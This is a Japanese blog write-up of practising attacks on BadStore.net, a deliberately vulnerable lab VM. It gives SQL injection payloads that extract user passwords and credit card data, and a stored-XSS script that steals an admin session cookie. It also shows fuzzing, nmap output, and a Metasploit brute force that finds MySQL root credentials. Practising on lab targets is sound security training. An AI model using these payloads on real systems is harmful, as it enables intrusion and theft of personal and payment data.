BadStore.netを使った脆弱性調査

WEBアプリ関係の脆弱性調査について一通り勉強したということで、実際にやられサーバーを使って脆弱性調査にチャンレンジしてみる。

環境構築

調査の前に、やられサーバーを構築する。

仮想マシン

BadStoreのisoをダウンロード

以下のサイトからisoをダウンロードする。 www.vulnhub.com

VMware Workstation 12 Playerで仮想マシンを作成

ゲストOS = Linux

バージョン = 他のLinux2.4.xカーネル

f:id:kyonta1022:20180830113813p:plain

仮想マシン起動

仮想マシンのコンソールから、 ifconfigIPアドレスを調べる。

http://192.168.11.6/

f:id:kyonta1022:20180830113521p:plain

外部の端末からアクセスできるようにする

訳あってVMを起動している端末とは別の端末から試みたため、外部からアクセスできるような設定をする。

netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.11.6 connectport=80 connectaddress=192.168.157.132
netsh interface portproxy add v4tov4 listenport=443 listenaddress=192.168.11.6 connectport=443 connectaddress=192.168.157.132
netsh interface portproxy add v4tov4 listenport=3306 listenaddress=192.168.11.6 connectport=3306 connectaddress=192.168.157.132

WEBアプリの脆弱性調査

機能ごとにどんな脆弱性が存在しそうかを調べていく。

全ての画面に出てきている検索機能。検索ボタンを押した瞬間から確実にSQLiが存在していると匂わせる画面。

f:id:kyonta1022:20180830114937p:plain

DB情報収集

わざと失敗させてエラーを吐かせてみる。

'

表示されたエラーから、DBMSMySQLだと判明。

DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' IN (itemnum,sdesc,ldesc)' at line 1 at /usr/local/apache/cgi-bin/badstore.cgi line 207.

次にMySQLのバージョンを取得してみる。

a' = 'a' UNION SELECT VERSION(),2,3,4 #

f:id:kyonta1022:20180830115146p:plain

テーブル名とカラム名の推測

バージョンは、 4.1.7-standard だと判明。調べてみるとこのバージョンでは information_schema は使えないらしい。(5系から使える) information_schemaが使えないということは、テーブル名の一覧などが簡単に取得できなそう。考えた末、とりあえず全体のページ数が少なそうなので、画面から存在しそうなテーブルを推測してみることにした。サラサラと見た感じ、 user 系と item 系の2種類があるのかな?と推測。命名規則的には表示されたSQLから xxxdb という形式なのかなと判断し、試してみる。

a' = 'a' UNION SELECT email,2,3,4 FROM userdb #

ユーザのメールアドレスが取得できた。

f:id:kyonta1022:20180830115306p:plain

他のカラム名もHTML内に存在するページ(http://192.168.11.6/cgi-bin/badstore.cgi?action=loginregister)から推測する。

password => NG

a' = 'a' UNION SELECT password,2,3,4 FROM userdb #

passwd = OK

a' = 'a' UNION SELECT passwd,2,3,4 FROM userdb #

fullname = OK

a' = 'a' UNION SELECT fullname,2,3,4 FROM userdb #

pwdhint = OK

a' = 'a' UNION SELECT pwdhint,2,3,4 FROM userdb #

収集したカラム名を全て表示させてみる。

a' = 'a' UNION SELECT fullname,email,passwd,pwdhint FROM userdb #

SQLiによるユーザ情報抽出

入力エリアのサイズ制限にかかって入力しきれないので、URLを直接指定してGETリクエストを投げる。

http://192.168.11.6/cgi-bin/badstore.cgi?searchquery=a%27+%3D+%27a%27+UNION+SELECT+email%2Cpasswd%2Cfullname%2Cpwdhint+FROM+userdb+%23&action=search&x=0&y=0

f:id:kyonta1022:20180830115410p:plain

ユーザ情報の漏洩を確認することができた。

Guestbook

ホテルなどにあるゲストブックのオンライン版?誰でも書き込める所なので、XSS脆弱性があるとまずいが、XSS脆弱性がありそうだ。

f:id:kyonta1022:20180830115619p:plain

入力可能な文字列の調査

名前、メール、コメントの3項目あるので、とりあえず全ての項目に以下の文字列を入れて投稿してみる。

<>'

ゲストブックを表示する画面のHTMLを確認してみると、そのまま表示されていることが確認できる。

Wednesday, August 29, 2018 at 19:34:06: <B><>'</B> <A HREF=mailto:<>'><>'</A>
<OL><I><>'
</I></OL>
<HR>

XSSを仕掛ける

このサイトで使っているCookieで、どんな情報をXSSで引っこ抜くと悪用できそうかを探していると、 SSOid というやばそうな項目を発見。Single Sign On?試しに自分のアカウントを作成して何度かログインしてみると、毎回同じ値が設定されていたので、ユーザ毎に一意の値が決まっていそう。セッションハイジャックに使えそうな匂いがするので、これを取得する。

ゲストブックへの投稿で以下のスクリプトを仕掛ける。今回は単純に、閲覧した人のSSOidをゲストブックに投稿する。

<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');xhr.send('name=myname&email=xxx@mail&comments='+cookie);</script>
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');
xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');
xhr.send('name=myname&email=xxx@mail&comments='+cookie);
</script>

adminユーザでゲストブックを閲覧する

XSSを一度踏むためにadminユーザでログインしているが、SQLiで取得したadminのパスワードはmd5でハッシュ化してあるため、以下のオンラインサービスを利用して平文を取得している。

md5.gromweb.com

adminユーザでGuestBookを閲覧すると、以下の内容が自動的に投稿される。

Wednesday, August 29, 2018 at 22:36:52: myname xxx@mail
SSOid=YWRtaW46NWViZTIyOTRlY2QwZTBmMDhlYWI3NjkwZDJhNmVlNjk6TWFzdGVyIFN5c3RlbSBBZG1p

adminとして不正ログイン

chromeの開発者ツールで、Cookie内のSSOidを書き換えると、ユーザ情報が切り替わる。account変更画面からパスワードを勝手に変えてしまい、その後は普通にそのログイン情報を使うのもあり。

f:id:kyonta1022:20180830120212p:plain

Place Order

商品の購入時に、クレジットカード情報を入力する画面がある。ということは、クレジットカード情報も存在するはずなので、それを抜き取ってみる。

f:id:kyonta1022:20180830124941p:plain

SQLiによるクレジットカード情報抽出

色々見ていると order という単語をよく使っているので、購入情報として orderdb が存在するかなと予測して試してみる。カラム名は、クレジットカード入力画面から推測した。

a' = 'a' UNION SELECT ccard,expdate,3,4 FROM orderdb #

案の定クレジットカードの情報が抜き出せた。ユーザとの紐付けはどんなカラムを持っているか推測しきれなかった。

f:id:kyonta1022:20180830125042p:plain

BadStoreサーバー全体の脆弱性調査

WEBアプリ以外の部分で、どのような脆弱性が存在するか調査する。

非公開情報の探索

Wfuzzというファジーツールを使って非公開ディレクトリの探索を行ってみる。 fuzz が何を意味するか知らなかったため調べていると、fuzzとは以下のような意味合いがあるらしい。

「ファジング」とは、検査対象のソフトウェア製品に「ファズ(英名:fuzz)」と呼ばれる問題を引き起こしそうなデータを大量に送り込み、その応答や挙動を監視することで脆弱性を検出する検査手法です。例えば、あるソフトウェア製品に極端に長い文字列や通常用いないような制御コードなどを送り込み、状態を観察します。その結果、予期せぬ異常動作や異常終了、再起動などが発生した場合、このソフトウェア製品の処理に何らかの問題がある可能性が高いと判断できます。このように、ソフトウェア製品(の製品開発者)が想定していないデータを入力し、その挙動から脆弱性を見つけ出す検査手法を「ファジング」と言います。 https://www.ipa.go.jp/files/000057652.pdf

Wfuzzのインストールや使い方に関しては以下。

Wfuzz: The Web fuzzer — Wfuzz 2.1.4 documentation

辞書によるディレクトリ探索

# wfuzz -w common.txt --filter "c=200"  http://192.168.11.6/FUZZ/

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/FUZZ/
Total requests: 950

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000111:  C=200     13 L       48 W      537 Ch    "backup"
000426:  C=200     16 L       72 W      886 Ch    "icons"
000429:  C=200     39 L      256 W     3572 Ch    "images"

Total time: 4.259704
Processed Requests: 950
Filtered Requests: 947
Requests/sec.: 223.0201

--filter をつけることによって、レスポンスが200のものだけに絞っている。backup というディレクトリに対しては、普通に画面を触っているだけでは導線がなかったため、本来は非公開ディレクトリなのだと推測。

辞書によるパラメータ探索

# wfuzz -w common.txt --filter "chars!=4046"  http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ
Total requests: 950

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000060:  C=200    100 L      291 W     4529 Ch    "admin"
000398:  C=200     92 L      283 W     4431 Ch    "guestbook"
000596:  C=200     90 L      249 W     3986 Ch    "order"
000727:  C=200     90 L      274 W     4137 Ch    "search"

Total time: 20.15347
Processed Requests: 950
Filtered Requests: 946
Requests/sec.: 47.13828

ここで考慮したいのが、間違ったアクションを指定しているとトップ画面に飛ばされるため、404などのレスポンスコードは返ってこない。なので、トップ画面の文字数以外のレスポンスが返ってきた場合、正常に受理されたリクエストであると判断するため、 --filter "chars!=4046" を指定している。

action=admin は通常の画面からの導線としては存在しなかったので、非公開ページだと推測。このページは、管理者権限で色々な情報が見れてしまうページだった。

辞書によるページ探索

# wfuzz -w cgis.txt --filter "c=200"  http://192.168.11.6/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/FUZZ
Total requests: 3295

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000100:  C=200     89 L      221 W     3583 Ch    "./"
002136:  C=200     39 L      256 W     3572 Ch    "images/"
002137:  C=200     39 L      256 W     3572 Ch    "images/?pattern=/etc/*&sort=name"
002064:  C=200     16 L       72 W      886 Ch    "icons/"
000672:  C=200     13 L       48 W      537 Ch    "backup/"
002756:  C=200     15 L       34 W      316 Ch    "robots.txt"
001525:  C=200      4 L       18 W      237 Ch    "cgi-bin/test.cgi"
000005:  C=200     89 L      221 W     3583 Ch    "%2e/"
Total time: 13.89689
Processed Requests: 3295
Filtered Requests: 3287
Requests/sec.: 237.1033

目新しい情報としては、 test.cgi というページ。中身をみると、テストで使用していたユーザ情報的なのが表示されていた。

公開されたデータベースへのログイン

nmapを使って、サーバー上でどのようなサービスが存在するのか確認する。

$ sudo nmap -sS -A 192.168.11.6

Starting Nmap 7.50 ( https://nmap.org ) at 2018-09-09 00:20 JST
Nmap scan report for 192.168.11.6
Host is up (0.0013s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE         VERSION
80/tcp   open  http            Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c
|_http-title: Welcome to BadStore.net v1.2.3s
443/tcp  open  ssl/http        Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c
|_http-title: Welcome to BadStore.net v1.2.3s
| ssl-cert: Subject: commonName=www.badstore.net/organizationName=BadStore.net/stateOrProvinceName=Illinois/countryName=US
| Subject Alternative Name: email:root@badstore.net
| Not valid before: 2006-05-10T12:52:53
|_Not valid after:  2009-02-02T12:52:53
|_ssl-date: 2018-09-09T00:20:26+00:00; +8h59m54s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_IDEA_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
3306/tcp open  mysql           MySQL 4.1.7-standard
| mysql-info: 
|   Protocol: 10
|   Version: 4.1.7-standard
|   Thread ID: 23
|   Capabilities flags: 33324
|   Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: )SGIzLKs%YrQ~I/Mt&Zu

辞書の用意

ログインを試みるため、ユーザーとパスワードの辞書を用意する。今回は、wfuzzのマニュアルの中で見つけた SecLists というのを使ってみることにした。

GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.

# git clone https://github.com/danielmiessler/SecLists.git

mysql-betterdefaultpasslist.txt をスペース区切りに変えて利用した。

metasploitでログイン情報確認

# msfconsole
                                                  
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v4.16.48-dev                         ]
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post       ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/scanner/mysql/mysql_login 
msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.11.6
RHOSTS => 192.168.11.6
msf auxiliary(scanner/mysql/mysql_login) > set USERPASS_FILE /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
USERPASS_FILE => /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
msf auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/mysql/mysql_login) > show options 

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting                                                                               Required  Description
   ----              ---------------                                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                                             yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                                        no        A specific password to authenticate with
   PASS_FILE                                                                                                       no        File containing passwords, one per line
   Proxies                                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            192.168.11.6                                                                                  yes       The target address range or CIDR identifier
   RPORT             3306                                                                                          yes       The target port (TCP)
   STOP_ON_SUCCESS   true                                                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                                                             yes       The number of concurrent threads
   USERNAME                                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                                         no        Try the username as the password for all users
   USER_FILE                                                                                                       no        File containing usernames, one per line
   VERBOSE           true                                                                                          yes       Whether to print output for all attempts

msf auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.11.6:3306     - 192.168.11.6:3306 - Found remote MySQL version 4.1.7
[+] 192.168.11.6:3306     - 192.168.11.6:3306 - Success: 'root:mysql'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ログインしてみる

# mysql -h 192.168.11.6 -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 610
Server version: 4.1.7-standard

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+------------+
| Database   |
+------------+
| badstoredb |
+------------+
1 row in set (0.00 sec)

MySQL [(none)]> use badstoredb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [badstoredb]> show tables;
+----------------------+
| Tables_in_badstoredb |
+----------------------+
| acctdb               |
| itemdb               |
| orderdb              |
| userdb               |
+----------------------+
4 rows in set (0.01 sec)

総括

BadStore自体が相当古いため、ちょっとあれな感じはしたが、基本的な脆弱性調査の練習をするには結構良かったと思う。

  • SQLi
  • XSS
  • アクセス権限不備
  • 脆弱なパスワード
  • 不要なディレクトリの公開
  • 不正なパラメータ操作
  • CSRF